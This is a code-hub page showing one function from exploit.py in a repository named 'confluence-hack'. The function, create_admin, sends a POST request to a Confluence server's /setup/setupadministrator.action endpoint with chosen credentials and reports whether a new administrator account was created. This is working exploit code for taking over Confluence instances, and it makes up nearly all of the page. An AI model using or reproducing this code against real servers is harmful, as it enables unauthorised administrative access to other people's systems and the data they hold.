MCPcopy Create free account
hub / github.com/AIex-3/confluence-hack / create_admin

Function create_admin

exploit.py:30–45  ·  view source on GitHub ↗
(url: str, username: str, password: str)

Source from the content-addressed store, hash-verified

28
29
30def create_admin(url: str, username: str, password: str) -> bool:
31 data = {
32 "username": username,
33 "fullName": username,
34 "email": f"{username}@AIex-3",
35 "password": password,
36 "confirm": password,
37 "setup-next-button": "Next"
38 }
39 res = requests.post(url=f"{url}/setup/setupadministrator.action", data=data, headers=header)
40 if res.status_code == 200:
41 print("[+] Admin account successfully created")
42 return True
43 else:
44 print(f"[-] Status-Code: {res.status_code}")
45 return False
46
47
48_url = "http://localhost:8080"

Callers 1

exploit.pyFile · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected